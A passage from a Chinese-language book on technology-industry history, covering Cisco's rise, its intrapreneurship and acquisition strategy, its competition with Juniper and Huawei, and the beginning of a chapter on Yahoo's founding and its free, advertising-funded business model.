的目的是让科研人员不需要出差到超级计算机中心就能通过远程登录而使用那些超级计算机。而思科创建的一年后，即 1985 年 NSFNet 就开始和商业网络对接。由于各大学、各公司的网络采用的协议不同，使用的设备也不同，因此对多协议路由器的需求一下子产生了。正在这时，1986 年思科推出第一款产品，连市场都不用开拓，就用于了刚刚起步的互联网。思科 Cisco 是旧金山英文名字 San Francisco 的最后五个字母，思科公司的图标正是旧金山的金门大桥，创始人的意思是要建起连接不同网络的桥梁。这对夫妇恐怕开始也没有想到以后思科能变成世界上最大的设备制造商。倒是硅谷著名的风险投资公司红杉风投（Sequoia Capital）看中了这个市场将来的潜力，给这对年轻夫妇投了资。红杉风投投资喜欢投给年轻的穷人，因为越是穷人越有成功的欲望和拼搏精神。红杉果然没有看错，到 1990 年，思科就成功地上市。\n和我们前面介绍过的从 ATT 到微软的各公司相比，思科的发展是最一帆风顺的。思科早期成功的关键在于它的两个创始人在最合适的时机创办了一个世界上最需要的公司。假如思科早创立两年，它可能在市场还没有起来时就烧完了它的投资而关门了，反过来也一样，如果它迟了两年，就可能被别的公司占了先机。在思科还是一个小公司时，各大计算机公司各自有自己很大的市场，它们首先想的是在网络市场上打败对手们而不是研制包容各公司网络产品的路由器，因此，没有公司和思科争夺多协议路由器的市场。而等到互联网兴起时，思科已经占据了路由器市场的领先地位。\n思科的幸运正好和以朗讯为代表的传统电信公司的不幸互补，互联网的兴起，使得世界上数据传输量急剧增加，而语音通话量下降。下图是从 1996 年到 2002 年世界数据通信量和语音通信量的对比，单位是 Gb/s。\n图7-1世界数据通信量和语音通信量数据图在中国，固定电话市话的通话从 2005 年起甚至出现了下降。据中国信息产业部发布的统计数据，2005 年 1-11 月，固定电话本地通话时长比 2004 年同期增长 0.1%。信产部方面同时表示，固定本地电话通话量的增长中，小灵通通话量比去年同期增长 22.0%，所占比例从去年同期的 20.5% 上升到 25.0%。这实际上意味着传统的固定电话本地通话量实际上为负增长。而 2006 年对比 2005 年，市话的通话量进一步下降。这当然一方面是因为手机得以快速普及，另一方面数据传输抢了语音传输的市场。\n第一章“帝国的余辉”登出来后，有一些朗讯的朋友和我争辩认为他们公司还在发展，并不只有余辉。我讲，你们是在发展，而且从语音通信量上看，不到十年增加了一倍多也不算慢，但是语音通信在整个世界通信量中的比重从占统治地位降到一个附庸地位。全世界能花在通信设备上的钱数几乎是一个常数（以每年几个百分点增长），而越来越多的钱花在了数据通信设备例如思科的设备，而不是传统的程控交换机上，（更何况思科也在抢交换机的市场）。虽然朗讯也可以做类似思科用于互联网的产品，但是，它们在技术上已经没有了优势，在资金上严重短缺。思科扣除债务拥有一百六十亿美元的现金，而其他电信设备制造商如阿尔卡特/朗讯、北电等等，扣除债务后是零现金或者是负数。因此，思科自从诞生，就处在了一个想不挣钱都难的行业，而朗讯则进入一个神仙也没办法的时代。\n思科幸运地站到了互联网革命的浪潮之巅，在互联网革命大潮的推动下，思科上市后仍然能保持强劲的增长势头。当然，思科能坐稳网络设备供应商的头把交椅，很大程度上取决于它非常特殊的文化。\n7.2 持续发展的绝招\n思科上市后，两个创始人马上成了亿万富翁。思科今天的股价，是上市时的500倍。它早期的员工，只要在理财上不要太冒险，比如在互联网泡沫时代买了很多网络垃圾股（当时叫网络概念股），也成了千万富翁或者百万富翁。这些人在富有了以后很多会选择离开公司去创业或者干脆退休。事实上，思科的两个创始人自己已经选择了这条路，离开了公司。\n一个成功的公司的早期员工是非常宝贵的财富。他们一般是一些非常爱冒险的人，否则他们不会选择加入新开办的甚至是还没有投资的小公司，他们技术和能力非常强，常常每个人可以独挡一面，因为早期的公司要求员工什么都得能干。他们同时对新技术非常敏感，否则他们在众多新兴公司中就不会挑选中那些日后成功的。但是，他们也有他们的弱点。他们虽然善于开创，但不善于或者不愿意守成，而后者对于一个大公司发展至关重要。他们做事快，但是不够精细，因为在公司很小时，抢时间比什么都重要。因此在公司发展到一定阶段，他们会和新的管理层发生冲突 —— 新的主管会觉得他们不好管。这就如同打江山的人未必能治理江山。这些员工很可能自己出去开公司。而即使留在公司的这些早期员工已经腰缠万贯，原先的动力也要大打折扣。因此，如何留住早期员工，并且调动他们的积极性，便成为了每一个上市的科技公司的难题。\n另外，一个公司大到一定程度后，每个人的贡献就不容易体现出来，大锅饭现象几乎是全世界的通病。一些员工虽然有很好的想法，也懒得费功夫去推动它，因为自己多花几倍的时间和精力最多能多得百分之几的奖金。偶尔出来一两个人试图推动一下，又会发现在大公司里阻力很大。因此，有些员工一旦有了好的想法，宁可自己出来创业，也不愿贡献给自己的公司。这两个问题在硅谷普遍存在，而思科是这些问题解决得最好的公司。\n思科的办法很像在大航海时代西班牙和葡萄牙国王对待探险者的做法。那时，包括哥伦布和麦哲伦在内的很多航海家都得到了王室的资助。这些冒险者，很多是亡命之徒，其航海的目的并不是为了名垂青史，而是为了实实在在的利益。他们和王室达成一种协议，一旦发现新的岛屿和陆地，则以西班牙或者葡萄牙王室的名义宣布这些土地归国王所有，同时国王封这些发现者为那个岛屿或者土地的总督，并授予他们征税的权力。这样一来，西班牙和葡萄牙王国的疆土就得以扩大。思科具体的做法是，如果公司里有人愿意自己创业，公司又觉得他们做的东西是好东西，就让他们留在公司内部创业而不要到外面去折腾，而思科会作为投资者而不再是管理者来对待这些创业的人。一旦这些小公司成功了，思科有优先权把它们买回来，思科的地盘就得到扩大。而这些独立的小公司的创办者和员工，又可以得到很高的回报。这样本来想离开思科出去创业的人也就不用麻烦了，接着上自己的班，只是名以上换了一家公司。当然，如果这些小公司没办好关门了，那么思科除了赔上一些风险投资的钱，没有额外的负担。这种做法不仅调动了各种员工尤其是早期员工的积极性，也避免这些员工将来成为自己的对手或者加入对手的阵营。\n思科自己公布的从 1993 年起的收购超过百起，这没有包括很多小的收购。以 1999 年思科七十亿美元的天价收购 Cerent 公司为例。后者本身就是由思科前副总裁 Bhadare 创办的，从事互联网上数据传输设备制造的公司，并且在早期得到思科一千三百万美元的投资。Cerent 的技术和产品显然是思科所要的。事实上，从思科分出来的这些小公司比其它创业的公司更容易被思科收购。因为，一方面这些创始人最清楚思科要什么技术和产品，也最了解思科本身的产品以便为思科量身定做。另一方面，他们容易得到风险投资的支持，因为风投公司能看的清它们投的公司将来出路在哪里 —— 卖回给思科。所以，在硅谷一些想通过新兴公司发财上市和收购财的人，当看不准哪个公司有发财相时，简单的办法就是加入那些思科人，尤其是思科高管和技术骨干开的小公司。这一招在千禧年的前几年颇为灵验，当然这些弄潮儿还得让人家公司看得上。\n在思科，人们经常会遇见自己“二进宫”甚者“三进宫”的同事。一个员工因为转到思科支持的小公司，从名以上讲暂时不算思科员工了，但是随着思科收购回那个小公司，这个员工再次“加入”思科了。这个员工出去转了几年，回到原来的位置，但是却腰缠万贯了。\n思科通过这种做法，基本上垄断了互联网路由器和其它重要设备的技术。因为一旦有更新更好的技术出现，思科总是能有钱买回来。如果说微软是赤裸裸地直接垄断市场，那么思科则是通过技术间接垄断了互联网设备的市场。在一般人印象中，硬件生产厂家的利润不会太高，但是思科的毛利却高达 65%。不仅在整个 IT 领域大公司里排第二位，仅次于微软的 80%，而且远远高于一般人想象的高利润的石油工业（35%）。这种高利润只有处于垄断地位的公司才能做到。\n大家也许会问，既然思科这种办法证明有效，为什么别的公司学不来。当然这一方面因为并非所有公司的领袖都有思科 CEO 钱伯斯（John Chambers）的胸怀和远见卓识，更重要的是思科的基因使然。思科自己的创建就是用到了两个创始人的职务发明。斯坦福大学当时虽然很想独占“多协议路由器”的发明，但是最终很开明地和两个发明人共享了这项技术。当然思科上市后，波萨克和勒纳为斯坦福捐了很多钱，除此以外斯坦福还拥有很多思科的股票，因此斯坦福和波萨克和勒纳通过思科的到了双赢。正是如此，思科能做到宽容员工用自己职务发明开办公司。另外，思科员工的发明，一般很难单独成为一种产品，而必须应用到现有网络通信系统或设备中，因此它们最好的出路就是卖给思科。所以，思科倒是不怕这些小公司将来反了天。\n托尔斯泰讲，幸福的家庭都是相似的，不幸的家庭各有各的不幸。在信息工业中，这句话要反过来讲，成功的公司各有各的绝招，失败的公司倒是有不少共同之处。思科这种成功的做法，一般的公司是抄不来的。\n7.3 竞争者\n如果说微软是善于便市场优势为技术优势，思科则是反过来，它通过自己的研发和收购，变技术优势为市场优势。虽然华尔街把阿尔卡特-朗讯和加拿大的北电也算做了思科的竞争者，其实这两个以程控交换机见长的公司和思科不完全处在同一个领域，基本上威胁不到思科。而且思科一家的市值超过其它传统通信设备公司的总和。\n思科真正的竞争对只有一假一真两个。让我们先来看看假的—Juniper Networks。这个公司基本上是思科的影子公司，相当于 AMD 对英特尔的地位。Juniper 的产品定位在高端，而不像思科从小到 IP 电话机，大到高端路由器都做。虽然 Juniper 是在产品上和思科最相似的公司，但是它的营业额只有思科的 7%，2006 年分别为二十五亿和三百五十亿美元。这还是在 Juniper 并购了和它规模同样大的防火墙厂商 Netscreen 公司以后，而它的市值现在还不到思科的 5%，分别为八十亿美元和一千九百亿美元。思科留着这个竞争对手主要是处于反垄断的考虑。因为有了 Juniper，思科省了很多反垄断法带来的麻烦。而且，美国很多政府部门和大公司在采购时要求必须从两个以上的厂家中挑选，因此，思科为了做生意以必须允许 Juniper 的存在。否则，以思科手上的现金，就可以把 Juniper 买三次了。虽然 Juniper 宣称自己存在的理由是技术好，但是，它这些年增长并不比思科更快，因此更深层的原因是思科必须放它一马。\n思科真正的对手是中国的小弟弟华为。作为中国民族工业的代表，华为在中国几乎家喻户晓，虽然大部分人并不关心它做的路由器产品。因此，在这里也就不用赘述华为的故事和成功经验了。作为一个民办企业，华为虽然得到了政府的一些帮助，但是，它能够发展起来它一开办就定了一个高起点、还靠私营企业的高效率和员工的勤劳。华为公司比思科成立晚四年，早于 Juniper 八年。华为创办时起点就很高，当时邮电部下面的一些研究所还在和 ATT 等跨国公司谈二流技术的转让和合作，任正非直接就定位当时国际上最先进的技术，并且短短几年就开发出了当时具有国际先进水平的 08 程控交换机。2006 年，华为的销售额已经到达 650 亿人民币，大约 90 亿美元，是 Juniper 的两倍。值得一提的是华为销售额的三分之二来自海外，这和房地产销售因泡沫经济的虚高有很大的不同，因为前者是实实在在的业绩。因此，华为已经成为思科在世界上主要的竞争对手。\n虽然目前华为的市场占有率按营业额计算只有思科的四分之一，但是前途不可限量。这不仅因为华为以比思科更快的速度发展，更重要的是华为将思科拖入了“中国制造”效应的阴影中，这是后者极不愿意的。我们在以后会专门讨论“中国制造”的效应。它基本的影响是，当一个原本只能在美欧生产的产品，经过一段时间则可以过渡到日本和韩国，进而落脚于中国。美欧公司能赚钱的时间只有从美国到中国这段时间差，以前这段时间可以长达数十年，现在只有几年。一旦一项产品可以由中国制造，那么它的利润空间就会薄到让美欧公司退出市场。现在，思科和华为的竞争就是在这种阴影笼罩下。因为华为已经可以生产和思科匹敌但是价格便宜许多的低端网络设备，因此，思科相应产品的利润已经被华为封顶。思科内部存在一个和 IBM 类似的问题，一些部门虽然毛利率相比整个行业并不低，但是扣除研发、市场和管理等费用，就成为亏损部门。在华尔街的压力下，它不得不放弃这些低利润的产品。当然，思科在高端产品和新产品上的优势是华为短期内无法相比的，但是，如果一个公司只剩下高端产品，那么它就在也不能成为全行业的垄断者。\n令思科烦恼的是，华为这个“小公司”追赶自己的速度快的惊人，这主要是因为华为比思科灵活得多。在思科，一个产品从立项、设计、开发到测试然后上市，每一个过程都严格而复杂，而华为相对简单得多。这种现象不仅存在于思科和华为的竞争中，反映在很多跨国公司和中国本土公司的竞争中，包括在互联网行业。跨国公司采用相对保守的策略是合理的，它们只要做到比其它跨国公司发展得更快就可以了，但是千万不能出错，这样，华尔街最满意。但是，当它们遇到不按常规出牌的公司，以前是日本的，现在是中国的公司时，就显得节奏跟不上了。\n华为可能是中国目前在 IT 行业唯一可以和世界上的行业老大竞争的公司，这很大程度上因为华为从公司结构和经营上已经和美欧上市公司没有什么差别，同时华为有一位了不起的统帅任正非。任正非，作为一个创造者和巨人（Builder and Titan）2005 被时代周刊评为世界上 100 个最有影响的人物。它不仅是中国唯一作为创造者和巨人上榜的人，也是全世界除美国以外绝不仅有的几个人之一。华为唯一要注意的是避免亚洲家族企业从兴到衰的宿命。\n当然，华为近期还不可能动摇思科的根本。这一两年得益于以互联网公司的兴起，已经走出了 2001 年的谷底销售直线上升。这里，我们在一次看到安迪-比尔定理的作用。在互联网行业，服务型公司谷歌和雅虎等会先起步，然后带动网络设备公司的业绩。从股票表现看，从 2003 年到去年，谷歌的股票率先增长，思科和 Juniper 公司有个滞后，从去年起开始恢复。我们从图中可以看到，思科的股票走势和谷歌吻合的非常好。\n 图7-2思科和谷歌股票走势图\n相反，思科和传统电信业则不太吻合。下图是思科和电信业大头 Verizon 的股票走势对比图7-3思科和Verizon股票走势图目前，互联网的发展依然方兴未艾，只要思科不做蠢事，今后几年它完全可以乘着互联网第二次革命的浪潮顺利地发展。但是，再往后会怎么样呢？\n7.4 诺威格定理的宿命\n谷歌研究院院长彼得.诺威格博士说，当一个公司的市场占有率超过 50% 以后，就不要再指望在市场占有率上翻番了。这句话在信息工业界广为流传。这是一个很朴素的道理，但是常常被一些公司领导者忽视。在互联网泡沫时代，太阳公司占有了觉得部分工作站市场，市值一度超过一千亿美元。但是，它还在盲目扩大试图在工作站和服务器上进一步开拓市场，结果，一旦经济进入低谷，工作站和服务器市场迅速收缩，即使它占到 100% 的市场份额也无济于事，事实上，太阳公司的市值蒸发了 90% 多。\n思科公司现在面临同样的问题。即使它占据了全部路由器市场，它也很难使公司在成长一倍。而且，由于反摩尔定理的作用，它的营业额并不能因为多买了一些设备而常比例的提升。因此，除非它能开拓出新的市场，否则会成为下一个朗讯。要摆脱诺威格定理的宿命，就必须找到和原有市场等规模甚至是更大的新市场。\n思科的舵手钱伯斯很早就未雨绸缪了。思科大强度投入 VoIP（Voice on IP），即用互联网打电话的业务，包括收购了这个领域颇有名气的 Linksys 公司。同时，思科进军存储设备和服务业务，并且也收购了一些相应的公司，为它的 VoIP 战略做策应。以前，在电话时代，世界上的信息通信主要依靠电话线，每个人或者家庭在那个时代的标识符就是电话号码。当然这些电话线不是乱七八糟搅在一起的，而是通过交换机连接的。到了互联网时代，更多的信息是通过互联网传播的，正如像在前面语音通信和数据通信量对比图中所反映的那样。这时，每个人和家庭的表示是 IP 地址，当然，网络路由器代替了原来程控交换机的地位。思科也代替了朗讯的地位。事实上，由于现在互联网的带宽远远超过了过去电话网络的带宽，因此，通过互联网传递语音完全有可能。这样世界上就不需要传统的电话网了，一切可以通过互联网进行。思科公司自己已经使用 IP 电话多年来，但是在全世界普及还需要时间。同时，有一些技术问题要解决，比如电话通过互联网上传播的延时问题，虽然这个问题随着网络速度越来越快而变得不是很明显。Skype 公司已经提供了全球的免费通过互联网的电话服务，但是和思科要做的真正的取代传统电话的 IP 电话还有很大差距。Skype 为了保证一个电话语音数据包能及时地传递到对方，它会将该包复制多份通过互联网上的多条线路进行传送，这种霸道的做法效率其实非常低，比传统电话的传输效率还低得多。只是 Skype 滥用了互联网免费这样点，实际上是让铺设互联网的电信公司变相为它买单。\n电话能在互联网上传，有线电视也可以通过互联网传播。事实上，很多家庭已经使用了有线电视，其线路完全可以用于打电话和上网，当然要进行一些改造。这其中商业的难度比技术上大，因为这些联入家庭的电缆控制住在有限电视公司手里。但是不管怎样，从技术上讲一条高速电缆线完全处理电视、电话和上网三件事，这一切则通过类似于 VoIP 的技术来实现。让我们不妨来看一看思科为大家设计的远景。张家是个典型的四口之家，晚上上高中的儿子要看橄榄球赛，但是他回家时球赛已经开始了半小时，但是他还是想从头看起。上小学的女儿要看今天同学介绍的最近电视台不会播放的卡通片，父母要看玩昨天看来一半的斯皮尔伯格的电影。这些要求以前是做不到的。现在好了，儿子在电视机前设置了一下比赛的进度，电视台按晚半小时的进度专门为他传来橄榄球比赛。女儿在电视机前搜索到那个卡通片，在遥控器上选择了播放按钮，电视机中就开始播放她想看的卡通了。中间有几个害怕的场面，她采用快进功能就跳了过去，以前她必须捂着眼睛等这些画面过去。父母看电影时从昨天看来一半的地方开始，中间接了朋友的一个电话，他们就让电影停了五分钟，五分钟后，电视台从他们中断的地方继续播放。张家已经很久没有买 DVD 了，因为它们想看的东西在互联网上都有，而且影像效果完全是电影院的效果。张家接电话时，没有用现在的那种固定电话，而是用一个蓝牙耳机通过家里的网络路由器实现的。看完电影后，女儿要把自己度假的 100 张一千万象素的照片传到网上去和同学们共享，她只等了两分钟就完成了。这件事，以前想都不用想，现在由于宽带互联网的飞速发展和 VoIP 以及类似技术的出现，在十年以内应该能成为现实。当每个家庭上网的速度达到现在 DSL 的一百倍，即每秒钟 100 Mbps，那么每个家庭可以同时收看三部高清晰度电影，每部需要 25 Mbps 的带宽，剩下来的四分之一可用于电话，浏览互联网，玩游戏，上传下传照片等等。由于每家有自己的 IP，因此传媒公司可以根据 IP 为每个家庭提供不同的节目。由于互联网的交互性，用户可以自己控制影像节目的播放，一个电影今天看不完可以明天接着看，漏掉一段新闻可以重播，一场比赛因为时间不合适可以以后补看。这些节目不需要录下来存在自己家，而是放在网络存储服务器上。\n在这样一个宽频的互联网世界里，一切通信都通过 X on IP 来实现。那么思科又将在其中扮演一个什么角色呢？首先，它现有产品的需求量会继续增长，而且，思科的一些现在市场还不大的产品比如网络存储服务器，需求量将大大增加。因为要通过互联网技术来提供家庭的娱乐服务，必须将影视的内容存储在本地的一些存储服务器上。\n在 VoIP 和网络上影视传输设备领域，思科最有可能成为这个市场的领头羊，这样它就可以在互联网浪潮之后，再次搭上宽带通信革命的浪潮。往更长远看，思科如果能走 IBM 的道路，即不断淘汰它利润低的低端产品，将市场主动让给华为等“中国制造”的公司，保守地开拓新领域的成长点，就有可能做到长盛不衰。否则，如果它一意固守现有的市场，则很难摆脱诺威格定理的宿命，将成为下一个朗讯。\n第8章 英名不朽：杨致远、菲洛和雅虎公司\n一百年后，如果人们只记得两个对互联网贡献最大的人，那么这两个人很可能是杨致远和费罗（David Filo）。他们对世界的贡献远不止是创建了世界上最大的互联网门户网站雅虎公司，更重要的是制定下了互联网这个行业全世界至今遵守的游戏规则--开放、免费和盈利。\n正是因为他们的贡献，我们得以从互联网上免费得到各种信息，并且用它来传递信息，分享信息，我们的生活因此得以改变。也许一百年后雅虎公司会不再存在，但是人们会把他们和爱迪生、贝尔和福特相提并论。\n8.1 当世福特\n是谁发明了现代内燃机的汽车这个问题的答案至今有争议。因为，德国的戴姆勒和奔驰率先发明了使用内燃机的汽车，但是是三个轮子的。十几年后，美国的福特发明了T型车，即今天汽车的雏形，因此有些人认为福特是汽车的始祖。在这个问题上，美国人和德国人都倾向于维护自己的祖先。公平地讲，奔驰发明汽车早于福特，但是福特是真正开创世界汽车工业并使它进入千家万户的人。奔驰和戴姆勒，以及德国另一个汽车业先驱迈巴克（Maybach）是为富人制造汽车的。现在已属于戴姆勒.奔驰公司的迈巴克汽车更是比劳斯莱斯更贵的汽车。\n英国的汽车业先驱罗尔斯和罗伊斯（Rolls and Royce，即劳斯莱斯的两个创始人）更是把汽车做成奢侈品。即使到了二十世纪三十年代，五百美元一辆的福特汽车已经进入千家万户，德国著名汽车设计师保时捷博士仍然立志于打造最完美的汽车而不是大众化的。如果不是福特做到了让汽车成为老百姓买得起的商品，汽车工业的发展可能会滞后很多。因此，把福特当作汽车工业的第一人一点也不过分。\n一个产业早期领导者选定的商业模式对这个产业几乎是决定性的。雅虎不是第一家从事互联网服务的门户网站，美国在线的网络业务在雅虎开始以前就有了，和雅虎类似的Excite 比它稍早一些，Lycos和Infoseek和它同时。但是，雅虎是确定互联网行业商业模式的公司，并且是主流免费门户网站的真正代表。如果不是雅虎，互联网很可能像汽车一样在相当长时间里很可能成为有钱人的奢侈品。\n互联网早在雅虎以前就存在了十年，它最初是由美国自然科学基金会出钱，为美国大学的教授和在校学生提供的特权。互联网上免费的内容少的可怜而且杂乱无章。而访问一些联网的数据库费则是高的惊人，而且要按每次搜索计费。在中国，教授和研究生们在查询国外论文以前，要专门学习如何选择关键词、作者名、领域名称以便用最短的联网时间、最少的搜索次数找到自己要的东西。随着通信事业的发展，互联网向公众开发成为不可阻挡的潮流。\n虽然以前在校的学生和教授们上网是免费的，但是美国自然科学基金会和各国政府不可能替所有的使用者买单。而且一项事业要飞速发展不可能光靠政府投资，得靠全社会的力量。因此，当互联网开始面向公众时，用什么商业模式维持互联网运营的费用就决定了互联网的方向。\n当雅虎还在斯坦福大学的实验室里时，美国在线（AOL）已经开始发展它的付费拨号用户了，它像收电话费一样，每月二十美元外加一些莫名其妙的费用，比如不打招呼就从你的信用卡上划走五十美元然后给你即一本没用的书。即使如此，美国在线在互联网初期阶段发展得很快，它至今还有几千万用户。在中国，我的同学龚海峰等人办起了一个中国版的美国在线-东方网景。按这种模式发展下去，互联网很难得到迅速普及。有线电视比互联网早发展几十年， 但至今全世界只有三亿用户， 不 到互联网用户的三分之 一（参见http://www.internetworldstats.com/stats.htm）。即使经过很多年，互联网采用美国在线的商业模式发展起来，它至多不过是家庭的第二种电话，很难带来以后的商业革命。美国在线这种商业模式不是孤立的，至今，ATT和Verizon还企图像控制电话网一样控制互联网。很幸运的是，有了后来的雅虎，美国在线那种像发展有线电视那样发展互联网的做法就没有的市场。\n雅虎及其追随者们，不仅把互联网办成了开放、免费和盈利的，而且刺激了电子商务的诞生。\n为什么雅虎能够把互联网办成开放和免费的呢？因为它的创始人杨致远和大卫费罗一开始搞互联网就不是为了盈利，而美国在线进军互联网时明确地要挣钱。杨致远和费罗本来不是学习网络的，但他们和另一个同学搞起雅虎完全是出于对互联网有非比寻常的兴趣。1994年，三个人乘着教授去学术休假一年的机会，悄悄放下手上的研究工作，开始为互联网做一个分类整理和查询网站的软件，这就是后来的雅虎。这个工具放在斯坦福大学校园网上免费使用，互联网用户发现通过雅虎可以找网站自己要去的网站或者有用的信息。这样，大家在上网时，先去雅虎，再从雅虎进入别的网站。这样，门户网站的概念就诞生了，雅虎的流量像火箭一样上窜。网景公司发现这个现象以后，便来找雅虎合作，网景公司在自己的浏览器上加了一个连到雅虎的图标，这样，雅虎的流量增长得就更快了。很快，斯坦福大学服务器和网络就处理不了日益增长的流量了。只好请杨致远和费罗等人把雅虎搬走，这时，网景公司送了雅虎一个服务器，雅虎公司就正式成立了，这是1995年的事。另外说句题外话，当时和杨致远、费罗共同做雅虎的第三人，这时拿不定主意，他觉得他们三个人乘老板不在私自搞起雅虎已经有点不太合适，再退学去办公司就更不合适了，于是选择了留在学校。如果将世界上最郁闷的人排个队，他一定名列前茅。正如我们在前言中所说，一个人一辈子赶上一次大潮就足以慰平生了，但是他错过了。\n有了独立的公司，经费就是一个问题。杨致远找到了红杉风投，就是投资思科的那家风险投资公司，并成功地融资两百万美元。几年后，红杉风投又成功地投资Google。和美国在线不同，雅虎所有的服务都是免费的，它在网络泡沫破碎以前，甚至在美国主要的都市提供免费的拨号入网服务。雅虎为全世界的人提供免费的电子邮件业务，虽然它后来的CEO塞缪尔（TerrySemual）试图对邮箱收费。雅虎的搜索引擎（采用Inktomi的技术）和网站目录向全世界开放，无条件的为全世界的网页建立索引。而此时，美国在线却采用了电话公司注册AOL索引词的方式来查找公司。（有些读者也许并不熟悉美国的电话号码注册方法，一个公司为了方便消费者记住自己的电话，常常用公司的名称做电话号码，比如ATT的服务电话是1-800-CALL-ATT，用户可以通过电话键盘上的字母对应出数字，即1-800-2255-288。一个公司要取得这个和自己公司名字相同的号码，必须向电话公司去买。）过去使用美国在线的用户不仅要必须记住公司的网址，还得记住它们在美国在线的注册词，直到AOL2002年采用Google 的搜索引擎为止。如果我们将互联网产业和微机产业做一个对比，那么美国在线相当于封闭的苹果而雅虎相当于微软，电话公司则相当于微机硬件厂商。美国在线同时扮演微机制造商和操作系统制造商两个角色，因为在它看来，门户网站要挣钱就必须收取上网费，如同软件必须通过硬件挣钱一样。而雅虎只是把互联网的门户做好，上网费的钱交给电话和宽带公司去挣。在Google成为主流搜索引擎以前很长的时间里，大量的用户通过雅虎这个门户访问网络，因此门户网站在某种程度上起到了操作系统的作用。事实证明雅虎是对的，由于反摩尔定理的作用和竞争的影响，上网费这笔钱是越挣越少，就如同微机厂商的利润越来越薄一样，而门户网站（后来过渡到搜索引擎）的钱却越挣越多。\n由于雅虎这种开放和免费的商业模式，使得雅虎流量呈几何级数增长，两百万很快就花完了。雅虎再次从日本最大的风投软银（Softbank）融资，软银开始只占了雅虎的5%，但是后来它在雅虎快上市时，发现这个公司前途无量，强行将股份占到了近30%，并且在雅虎上市后，它没有抛售雅虎的股票而是增持雅虎的股票，使得它一度占了雅虎近40%的股份，成为雅虎第一大股东。1996年，成立仅一年的雅虎在纳斯达克挂牌上市，当天股价从13美元暴涨到33美元。各大媒体争先报道了雅虎上市的盛况，雅虎一下成了互联网的第一品牌。而杨致远和费罗也双双进入亿万富翁的行列。\n雅虎的做法为全世界互联网公司树立了榜样。Excite，Lycos和Infoseek等公司纷纷效仿雅虎的做法，一年中，各种门户网站相继出现，两年后，中国的三大门户网站也成立了。而同时，采用美国在线商业模式的东方网景开始亏损并被出售。从1994年到2000年，可以说是互联网的航海时代。各类网站也相继出现，每个政府部门，学校，公司到每个人都在建立自己的网页，原来通过各种报纸传递的信息，通过网页也更快的速度传播出去。互联网上的内容几何级数上涨，人类真正进入了信息爆炸的时代。作为大航海时代首先发现新大陆的雅虎，在这次革命中功不可没。首先订下了互联网这个行业的游戏规则--开放、免费和盈利（这一点我们下面要专门讲），制止了美国在线和同类公司试图把互联网办成新的电话网的企图，这种模式刺激起电子商务。其次，如我们在前面介绍微软时所提到的，它成功地阻击了微软垄断互联网的企图，使得互联网大大小小的公司可以不依靠其他IT行业而独立生存和发展。\n8.2 流量、流量、流量\n在2000年，如果要问\"什么对互联网公司最为重要\"，百分之百（而不是百分之九十九）的人都会回答\"流量\"（traffic）。如果再问什么第二重要，得到的回答是一样的，还是\"流量\"。\n那时，所有的网站都在关心每天吸引多少人来上网，上网时在这个网站上总共花了多少时间，而不是每天挣了多少钱。现在我们知道，这显然是对流量的误解，但是，当时全世界对互联网的理解都是如此。为什么当时互联网公司只注重流量呢？这得从雅虎的商业模型和它早期的成功说起。\n虽然杨致远和费罗在斯坦福创办雅虎时没有过多考虑如何挣钱，而是把精力放在了怎么把雅虎办好上，但是当雅虎成为一个独立的公司时，杨致远就不能不考虑这个问题了。这不仅仅关系到雅虎是否能发展下去，更关系到整个互联网免费的午餐是否能行得通，因为最终必须有人为互联网的运营和发展买单。我们已经提到了，这笔钱不外乎有三种来源：第一是靠政府，其实就是靠税收。这样做看上去是可以免费，但是实际上是每个纳税人掏腰包，而且可能掏的不少，不管是否上网，而且政府机构办事一般都要比私营公司成本高而且效率低；第二是靠每一个上网的人，按时间计费，这实际上事实上就是美国在线的做法，它把互联网变成了另一个电话网；第三个办法就是把互联网自己从最初的非赢利性质变成为盈利的，刺激电子商务的发展，从电子商务和广告中挣钱来维护和运营互联网，从而做到用户上网免费，这就是互联网泡沫破碎前人们所说的\"互联网的免费午餐\"。现在证明了，第三条道是能走通的，虽然在2000年后互联网遇到一些短期困难时，全世界都在怀疑互联网是否真的能做到免费。\n杨致远是一位技术和商业兼修的人才，他很快想到了通过为大公司做广告挣钱的好办法。\n在美国，整个广告市场规模大约是一年一千五百亿美元，也就是说花在每个美国人身上的广告费高达五百美元之多。而一个商家吸引一个新客户的成本高达十美元左右。传统的广告业是按每一千次显示收钱的。比如在报纸上做一版广告，每一千次收费五百美元，报纸的发行量为一百万份，那么广告公司就得付给报纸五十万美元。在电视上、杂志上做广告也是如此。\n在美国，报纸的订费只占其收入的小头，广告费是大头，有些报纸甚至是免费的。杨致远完完全全照搬了报纸的等传统媒体广告的商业模型，即免费服务，然后用广告费养活自己并发展。在报业，发行量最重要，换到互联网行业，就变成了网站的流量。在互联网发展的初期，网站的流量严重不足，即使在今天，雅虎首页的广告也很难抢得到，因此，把流量做上去成了雅虎的首要目的。要想让网站的流量提高，关键是要有好的内容，能吸引用户。雅虎在很长时间里就是这样做的，它一心一意地把自己办成互联网上最好的媒体，外界也一直以一个媒体公司看待雅虎，这显然是一条正确的道路。随着流量的增长，雅虎的营业额也以前所未有的速度增长。从1996年到2006年，雅虎的营业额增长了260倍，从两千多万增长到六十多亿。而同期，IBM和微软的营业额分别增长了20%和10倍。这也就是直到去年，华尔街一直追捧雅虎的原因。\n当然要想超过华尔街的预期，就必须以更快的速度提高流量，这已经是雅虎不可能依靠自身发展做的到了，因此它开始收购流量大的公司，比如1999年，它通过换股的方式以36亿美元的高价外加10美元的期权收购了流量很大的GeoCity。\n所有互联网公司都看到了流量的重要性，并且很快都复制了雅虎的商业模式。但是，这些二三流互联网公司却没有一个像雅虎那样盈利。当时大家还没有意识到\"不是所有的流量都是平等的\"。2000年以前，电子商务实际上销售额并不高，能拿出的广告费少的可怜。因此，互联网的广告费只能靠挣世界五百强的大公司的\"品牌\"广告费。在广告业，做品牌广告有个不成文的约定俗成，非常讲究门当户对，即拥有一流品牌的公司必须在第一流的媒体上做广告，即使一个二流媒体有着同样的观众群，那个公司也不能在上面做广告，因为那会影响自己的品牌。所以，那些做品牌广告的公司永远不会在二三流网站上做广告。这种结果导致了2000年前出来雅虎外，几乎没有什么公司挣到了品牌广告的钱。至今，像保洁（P&G）公司虽然每年花70多亿做品牌广告，但是从未在二流网站上花过一分钱。\n本来，办公司是为了盈利。松下幸之助说过，一个产品如果不能盈利，就是对人类的犯罪，因为它浪费了人力和物力，它们原来可以用在更有意义的事情上。在上一次互联网泡沫的疯狂年代，松下这种睿智而朴素的观点被看成是过时的了。无数风险投资的钱投到新兴的互联网公司中，不管这些公司是否有前途。绝大多数公司根本不可能盈利，它们的创始人甚至没有打算让它们盈利，他们第一考虑的是如何诱使风投投资，第二是如何卖给一个冤大头的下家。